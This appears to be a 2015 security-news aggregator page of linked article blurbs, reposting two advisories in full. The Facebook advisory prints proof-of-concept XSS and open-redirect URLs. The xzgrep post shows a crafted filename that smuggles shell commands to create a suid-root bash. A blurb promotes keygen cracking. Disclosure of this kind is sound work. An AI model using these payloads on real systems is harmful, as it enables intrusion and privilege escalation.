Mystery botnet hijacks broadband routers to offer DDoS-for-hire

May 18, 2015, 5:47 am

≫ Next: Facebook #26 - Filter Bypass & Exception Handling Redirect Web Vulnerability

≪ Previous: CRUCMS Crucial Networking - SQL Injection Vulnerability

A rival hacker group to the infamous Lizard Squad has been discovered quietly using a previously unknown global botnet of compromised broadband routers to carry out DDoS and Man-in-the-Middle (MitM) attacks.

The discovery was made by security firm Incapsula (recently acquired by Imperva), which first noticed attacks against a few dozen of its customers in December 2014 since when the firm estimates its size to exceed 40,000 IPs across 1,600 ISPs with at least 60 command and control (C2) nodes.

more here....http://www.networksasia.net/article/mystery-botnet-hijacks-broadband-routers-offer-ddos-hire.1431933013

↧

Facebook #26 - Filter Bypass & Exception Handling Redirect Web Vulnerability

May 18, 2015, 5:48 am

≫ Next: About the supposed factoring of a 4096 bit RSA key

≪ Previous: Mystery botnet hijacks broadband routers to offer DDoS-for-hire

Document Title:
===============
Facebook #26 - Filter Bypass & Exception Handling Redirect Web Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1483

http://www.vulnerability-lab.com/get_content.php?id=1484

Video View: https://www.youtube.com/watch?v=I65zFWF-pMg

Release Date:
=============
2015-05-09

Vulnerability Laboratory ID (VL-ID):
====================================
1483

Common Vulnerability Scoring System:
====================================
5.1

Product & Service Introduction:
===============================
Facebook is an online social networking service, whose name stems from the colloquial name for the book given to students
at the start of the academic year by some university administrations in the United States to help students get to know
each other. It was founded in February 2004 by Mark Zuckerberg with his college roommates and fellow Harvard University
students Eduardo Saverin, Andrew McCollum, Dustin Moskovitz and Chris Hughes. The website`s membership was initially limited
by the founders to Harvard students, but was expanded to other colleges in the Boston area, the Ivy League, and Stanford University.
It gradually added support for students at various other universities before opening to high school students, and eventually to anyone
aged 13 and over. Facebook now allows any users who declare themselves to be at least 13 years old to become registered users of the site.

Users must register before using the site, after which they may create a personal profile, add other users as friends, and exchange messages,
including automatic notifications when they update their profile. Additionally, users may join common-interest user groups, organized by workplace,
school or college, or other characteristics, and categorize their friends into lists such as `People From Work` or `Close Friends`. As of
September 2012, Facebook has over one billion active users, of which 8.7% are fake. According to a May 2011 Consumer Reports survey, there are
7.5 million children under 13 with accounts and 5 million under 10, violating the site`s terms of service.

In May 2005, Accel partners invested $12.7 million in Facebook, and Jim Breyer added $1 million of his own money to the pot. A January 2009
Compete.com study ranked Facebook as the most used social networking service by worldwide monthly active users. Entertainment Weekly included the
site on its end-of-the-decade `best-of` list, saying, `How on earth did we stalk our exes, remember our co-workers` birthdays, bug our friends,
and play a rousing game of Scrabulous before Facebook?` Facebook eventually filed for an initial public offering on February 1, 2012, and was
headquartered in Menlo Park, California. Facebook Inc. began selling stock to the public and trading on the NASDAQ on May 18, 2012. Based on its
2012 income of USD 5.1 Billion, Facebook joined the Fortune 500 list for the first time, being placed at position of 462 on the list published in 2013.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Facebook )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a filter bypass and open redirect web vulnerability in the official Facebook online-service framework.

Vulnerability Disclosure Timeline:
==================================
2015-05-01: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2015-05-09: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Facebook
Product: Framework - Content Management System 2015 Q2

Exploitation Technique:
=======================
Remote

Severity Level:
===============
High

Technical Details & Description:
================================
A filter validation issue is existant in the exception-handling that normally redirects to the original facebook source.
Ever if an error comes up the website will show the context in the secure exception and redirects on okey click to the
original valid source. In case of terminating the string (_%3F) with extended <_ it is possible to bypass the
exception-handling filter exception to redirect invalid source to an external target. The video demonstrates how to
bypass the filter validation by confusing the context copying with the non encoded url that invalid. By generating
a payload that is ahead in the display value and atleast in the url ref the target exception redirect can be manipulated.

Proof of Concept (PoC):
=======================
https://www.facebook.com/dialog/send?app_id=102628213125203&display=F%2F%3C%uFFFD/%uFFFD%uFFFD%3C_popup&link=http%3A%2F%2Fwww.ebay.com%2Fcln%2F%2F%3C_&{alert%28%27XSS%27%29}%3B%3E%3%3C_&{alert%28%27XSS%27%29}%3B%3E%3Froken%3DcUgayN&description=%40eBayF%2F%3C%uFFFD/%uFFFD%uFFFD%3C_&redirect_uri=http%3A%2F%2F%EF%BF%BD/%EF%BF%BD%EF%BF%BD%3C%uFFFD/%uFFFD%uFFFD%3C_popup%2Fsoc%2Fshareclose&__mref=F%2F%00%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble

https://www.facebook.com/dialog/send?app_id=102628213125203&display=F%2F%3C%uFFFD/%uFFFD%uFFFD%3C_popup&link=http%3A%2F%2Fwww.ebay.com%2Fcln%2F%2F%3C_&{alert%28%27XSS%27%29}%3B%3E%3%3C_&{alert%28%27XSS%27%29}%3B%3E%3Froken%3DcUgayN&description=%40eBayF%2F%3C%uFFFD/%uFFFD%uFFFD%3C_&redirect_uri=http%3A%2F%2F%EF%BF%BD/%EF%BF%BD%EF%BF%BD%3C%uFFFD/%uFFFD%uFFFD%3C_popup%2Fsoc%2Fshareclose&__mref=F%2F%00%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble

Payload:
3A%2F%2F%EF%BF%BD/%EF%BF%BD%EF%BF%BD%3C%uFFFD/%uFFFD%uFFFD%3C_
F%2F%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble
F%2F%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble<_

PoC Video(s):
The video demonstrates how to evade the filter validation of the message context that is delivered by a url link. The researcher demonstrates how to bypass
the basic encoding by preparing a valid exception with unauthorized redirect.

Security Risk:
==============
The security risk of the filter bypass and exception redirect web vulnerability is estimated as medium. (CVSS 5.1)
The same payload to evade the filter validation can be used to other sections and exceptions that redirect the ref with the same conditions.

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:   www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact:   admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
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Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

↧

About the supposed factoring of a 4096 bit RSA key

May 18, 2015, 5:54 am

≫ Next: ctf-tools

≪ Previous: Facebook #26 - Filter Bypass & Exception Handling Redirect Web Vulnerability

tl;dr News about a broken 4096 bit RSA key are not true. It is just a faulty copy of a valid key
more here.....https://blog.hboeck.de/archives/872-About-the-supposed-factoring-of-a-4096-bit-RSA-key.html

↧

ctf-tools

May 18, 2015, 5:56 am

≫ Next: WINDOWS LOGGING CHEAT SHEET - Win 7/Win 2008 or later

≪ Previous: About the supposed factoring of a 4096 bit RSA key

This is a collection of setup scripts to create an install of various security research tools here...https://github.com/zardus/ctf-tools

↧

WINDOWS LOGGING CHEAT SHEET - Win 7/Win 2008 or later

May 18, 2015, 7:25 am

≫ Next: xzgrep 4.999.9beta arbitrary code execution vulnerability

≪ Previous: ctf-tools

This “Windows Logging Cheat Sheet” is intended to help you get started setting up
basic and necessary Windows Audit Policy and Logging. By no means is this list
extensive; but it does include some very common items that should be enabled,
configured, gathered and harvested for any Log Management Program. Start with
these settings here........https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/55316497e4b0ed810cdedc8c/1429300564057/Windows+Logging+Cheat+Sheet.pdf

↧

xzgrep 4.999.9beta arbitrary code execution vulnerability

May 18, 2015, 8:23 am

≫ Next: Starbucks Hacked? No, But You Might Be

≪ Previous: WINDOWS LOGGING CHEAT SHEET - Win 7/Win 2008 or later

I discovered a bug in xzgrep 4.999.9beta.

* Affected versions: 4.999.9beta
* Fixed versions: 5.0.0 and up, 5.2.0 and up
* Description:

xzgrep 4.999.9beta processes filenames containing a semicolon
incorrectly, which allows for arbitrary code execution as the local user
running xzgrep.

Demonstration of the vulnerability:
sh-4.1$ touch /tmp/semi\;colon
sh-4.1$ xzgrep anystring /tmp/semi\;colon
xz: /tmp/semi: No such file or directory
/usr/bin/xzgrep: line 199: colon: command not found
sh-4.1$
xzgrep tries extract/grep /tmp/semi and tries to execute "colon", which
is obviously not wanted.

With a specially crafted filename and three ounces of social
engineering, a local root exploit is possible. For example:
sh-4.1$ touch '/var/tmp/;echo -e "cp -p \0057bin\0057bash \0057var\0057tmp\0057\nchmod u+s \0057var\0057tmp\0057bash"
zzz;sh zzz;rm -f zzz'
sh-4.1# find /var/tmp -type f -exec xzgrep anystring {} \+
A suid root /var/tmp/bash should be the result.

I checked RHEL 6, CentOS 6: they run 4.999.9beta and they are vulnerable.

--
Bart Dopheide

↧

Starbucks Hacked? No, But You Might Be

May 18, 2015, 11:10 am

≫ Next: How to kill processes on the Linux Desktop with xkill

≪ Previous: xzgrep 4.999.9beta arbitrary code execution vulnerability

When it comes to reporting on breaches involving customer accounts at major brands, the news media overall deserves an F-minus. Hardly a week goes by when I don’t hear from readers about a breathless story proclaiming that yet another household brand name company has been hacked. Upon closer inspection, the stories usually are based on little more than anecdotal evidence from customers who had their online loyalty or points accounts hijacked and then drained of value.

more here.......http://krebsonsecurity.com/2015/05/starbucks-hacked-no-but-you-might-be/

↧

How to kill processes on the Linux Desktop with xkill

May 18, 2015, 11:11 am

≫ Next: IMPLEMENTING A PBKDF2-BASED PASSWORD STORAGE SCHEME FOR FIREFOX OS

≪ Previous: Starbucks Hacked? No, But You Might Be

Linux is renown for its stability, rigidness and superior error-free functionality, but no matter how advanced and bug-free a system may be, it is inevitable that things will brake and windows will freeze/hang at some point. This is thankfully not disastrous at all, as Linux users can utilize smart tools and commands that will allow them to get rid of those nasty “not responding” applications instantly!

more here.......https://www.howtoforge.com/tutorial/linux-kill-process-with-xkill/

↧

IMPLEMENTING A PBKDF2-BASED PASSWORD STORAGE SCHEME FOR FIREFOX OS

May 18, 2015, 12:02 pm

≫ Next: ThunderGate

≪ Previous: How to kill processes on the Linux Desktop with xkill

My esteemed colleague Frederik Braun recently took on to rewrite the module responsible for storing and checking passcodes that unlock Firefox OS phones. While we are still working on actually landing it in Gaia I wanted to seize the chance to talk about this great use case of the WebCrypto API in the wild and highlight a few important points when using password-based key derivation (PBKDF2) to store passwords.

more here..........https://timtaubert.de/blog/2015/05/implementing-a-pbkdf2-based-password-storage-scheme-for-firefox-os/

↧

ThunderGate

May 18, 2015, 12:04 pm

≫ Next: SIMBL-fscript

≪ Previous: IMPLEMENTING A PBKDF2-BASED PASSWORD STORAGE SCHEME FOR FIREFOX OS

ThunderGate is a collection of tools for the manipulation of Tigon3 Gigabit Ethernet controllers, with special emphasis on the Broadcom NetLink 57762, such as is found in Apple Thunderbolt Gigabit Ethernet adapters.

Tigon3 controllers contain a variety of architectural blocks, including a PCI endpoint, an 802.3 media access controller, on-chip ram, DMA read and write engines, nonvolatile storage, and one or more MIPS processors.

These features are exposed by ThunderGate through an easy-to-use Python interface, allowing for reverse engineering, development, and deployment of custom firmware and applications. Examples provided include a userspace VFIO tap driver, a firmware application capable of transparently monitoring network traffic and host memory, and a PCI option rom containing an EFI boot services driver which inhibits the employ of Intel I/O MMU address translation (VT-d).

more here..........https://github.com/sstjohn/thundergate

↧

SIMBL-fscript

May 18, 2015, 12:05 pm

≫ Next: Password Cracking Class for Hackers For Charity (Video)

≪ Previous: ThunderGate

SIMBL Plugin for loading FScript into unyielding applications here..........https://github.com/perfaram/SIMBL-fscript

↧

Password Cracking Class for Hackers For Charity (Video)

May 18, 2015, 12:14 pm

≫ Next: KL-001-2015-002 : Piriform CCleaner Wiped Filename Recovery

≪ Previous: SIMBL-fscript

This is the Password Cracking class the Kentuckiana ISSA put on to support Hackers For Charity here..........http://www.irongeek.com/i.php?page=videos/password-cracking-class-hfc-louisville-issa

↧

KL-001-2015-002 : Piriform CCleaner Wiped Filename Recovery

May 18, 2015, 12:41 pm

≫ Next: Denial of Service in Dovecot and unexpected crashes in OpenSSL (TFPA 008/2015)

≪ Previous: Password Cracking Class for Hackers For Charity (Video)

KL-001-2015-002 : Piriform CCleaner Wiped Filename Recovery

Title: Piriform CCleaner Wiped Filename Recovery
Advisory ID: KL-001-2015-002
Publication Date: 2015.05.18
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-002.txt

1. Vulnerability Details

Affected Vendor: Piriform
Affected Product: CCleaner
Affected Version: 3.26.0.1988 - 5.02.5101
Platform: Microsoft Windows 7 x64 Service Pack 1
CWE Classification: CWE-200: Information Exposure
Impact: Information Exposure
Attack vector: Local
CVE-ID: CVE-2015-3999

2. Vulnerability Description

The use of CCleaner is encountered at times during forensic
investigations of computer systems. It has a secure deletion
mode where it can overwrite data, filenames, and free
space. Overwriting files and filenames removes the chance to
recover the data and subject it to further analyses. Due to
how the software works, CCleaner will actually tell you the
names of files that it wiped.

3. Technical Description

Filenames are overwritten with the letter "Z" when CCleaner
is tasked to overwrite files. On an NTFS formatted drive,
the filename records in the Master File Table are replaced
with the letter "Z". For example, a file named "TEST.TXT"
will have each character in the name overwritten with the
letter Z and will be renamed to "ZZZZ.ZZZ" after the process is
completed. For example, as CCleaner was executing, the filename
"TEST.TXT" was seen being written out to disk a few times,
followed by the pattern "ZZZZ.ZZZ". The other filenames being
overwritten were handled in the same fashion. This pattern of
overwriting filesnames was found in the unallocated space of
the hard drive. The search results looked like this:

TEST.TXT
TEST.TXT
TEST.TXT
ZZZZ.ZZZ
ZZZZ.ZZZ
ZZZZ.ZZZ

TEST1.TXT
TEST1.TXT
TEST1.TXT
ZZZZZ.ZZZ
ZZZZZ.ZZZ
ZZZZZ.ZZZ

Once some original filenames are recovered, the analyst can
attempt to use that to locate other references, or fragments in
unallocated space, etc.

4. Mitigation and Remediation Recommendation

None

5. Credit

This vulnerability was discovered by Don Allison of KoreLogic
Security, Inc.

6. Disclosure Timeline

2015.02.18 - Initial contact; requested PGP key from Piriform.
2015.02.23 - Second contact attempt.
2015.02.25 - Piriform responds, asks for KoreLogic to submit
details to support@piriform.com.
2015.03.02 - KoreLogic submits vulnerability report to Piriform.
2015.03.02 - Piriform confirms receipt of the report.
2015.04.22 - KoreLogic requests an update on the status of this
issue.
2015.05.04 - 45 business days have elapsed since Piriform
acknowledged receipt of the KoreLogic report.
2015.05.15 - KoreLogic requests CVE from Mitre.
2015.05.15 - Mitre issues CVE-2015-3999.
2015.05.18 - Public disclosure.

7. Proof of Concept

N/A

The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt

↧

Denial of Service in Dovecot and unexpected crashes in OpenSSL (TFPA 008/2015)

May 18, 2015, 4:28 pm

≫ Next: Wolves Among Us: Abusing Trusted Providers for Malware Operations

≪ Previous: KL-001-2015-002 : Piriform CCleaner Wiped Filename Recovery

A while ago I did a little experiment trying to fuzz the OpenSSL handshake with the intent to test whether Heartbleed could've been found with fuzzing. At some point while developing the sample code I discovered that american fuzzy lop would find a lot of crashes. However, on careful investigation I found that these were not due to bugs in OpenSSL, they were due to a bug in my test code: I didn't properly check for errors.

more here.......https://blog.fuzzing-project.org/12-Denial-of-Service-in-Dovecot-and-unexpected-crashes-in-OpenSSL-TFPA-0082015.html

↧

Wolves Among Us: Abusing Trusted Providers for Malware Operations

May 18, 2015, 5:33 pm

≫ Next: The life and times of an exploit

≪ Previous: Denial of Service in Dovecot and unexpected crashes in OpenSSL (TFPA 008/2015)

where they’ve identified the adversary’s malware using a unique method of determining its Command and Control (C2) server. By leveraging trusted content providers, such as popular shopping sites and discussion forums, adversaries can perform operations within a network in plain sight. By replacing a hard-coded beacon address within malware with a simple user name, binaries can transmit a basic lookup for activity made by fake accounts on public discussion forums that contain dynamic IP addresses for communications.

As an example, RSA IR discovered use of malware known as PNGRAT during a recent response effort.

more here.........https://blogs.rsa.com/wolves-among-us-abusing-trusted-providers-malware-operations/

↧

The life and times of an exploit

May 18, 2015, 5:35 pm

≫ Next: Cracking 64bit Binaries

≪ Previous: Wolves Among Us: Abusing Trusted Providers for Malware Operations

Just this week we released the latest Microsoft Security Intelligence Report that focuses on the threat landscape in the second half of 2014. The “featured intelligence” included in the new volume of the report examines the increased speed at which purveyors of commercial exploit kits are trying to take advantage of newly disclosed vulnerabilities, even in cases where security updates have been developed, released and deployed to hundreds of millions of systems around the world.

more here......http://blogs.microsoft.com/cybertrust/2015/05/18/the-life-and-times-of-an-exploit/

↧

Cracking 64bit Binaries

May 18, 2015, 5:36 pm

≫ Next: Magnitude Exploit Kit leading to Ransomware via Malvertising

≪ Previous: The life and times of an exploit

Keygenning is a process of finding a valid key for a program. It is used for cracking/piracy. Most of the cracking has been documented on x86, there haven’t been many articles on x64 cracking.

In this article, we will show you how to keygen a Linux x64 bit application on a Linux computer here........http://resources.infosecinstitute.com/cracking-64bit-binaries/

↧

Magnitude Exploit Kit leading to Ransomware via Malvertising

May 18, 2015, 5:37 pm

≫ Next: attacksible

≪ Previous: Cracking 64bit Binaries

Magnitude Exploit Kit is a malicious exploit package that leverages a victim’s vulnerable browser plugins in order to download a malicious payload to a system. This technique is known as a drive-by-download attack, which is often leveraged on compromised websites and malicious advertising networks.

We recently found a number of compromised pages following the structure of fake search engine pages.

more here.......http://research.zscaler.com/2015/05/magnitude-exploit-kit-leading-to.html

↧

attacksible

May 18, 2015, 5:41 pm

≫ Next: Software Development KITchen sink

≪ Previous: Magnitude Exploit Kit leading to Ransomware via Malvertising

Ansible Provisioned Security Testing Platform Here.....https://github.com/4ltern4te/attacksible

↧

Software Development KITchen sink

May 19, 2015, 5:31 am

≫ Next: [1Q 2015 Security Roundup] Bad Ads and Zero Days: Reemerging Threats Challenge Trust in Supply Chains and Best Practices

≪ Previous: attacksible

One characteristic of the so-called Internet of Things (IoT) is short development and deployment cycles. The typical IoT device competes in a market where short time-to-market is as important as the features the device provides. A key enabler of these rapid processes is utilization of commercial off-the-shelf (COTS) components. In order to take full advantage of COTS parts, IoT vendors are dependent on the Software Development Kits (SDKs) provided by the parts’ suppliers. The SDKs reduce the complexity and duration of the IoT vendors’ own software development effort. In some cases, the SDK may be minimal, consisting mainly of a few application programming interfaces (APIs). When hardware is involved, the SDK usually also includes a driver for the hardware.

Commonly, however, these SDKs consist of myriad pieces including debuggers, dedicated integrated development environments (IDEs), miscellaneous tools, documentation, and sample code. One could say they sometimes include everything but the kitchen sink. In some cases the SDK ships with production code that the IoT vendor may utilize directly and, knowingly or unknowingly, ship with the product without modification. The product may even be dependent on this code and unable to function properly without it. Therefore, a vulnerability in an SDK component can have far-reaching implications, especially if the component is widely used and the vulnerability is publicly reachable.

Such is the case with Realtek’s rtl81xx chipset SDK miniigd vulnerability, which we’ll detail in this post here......http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115

↧

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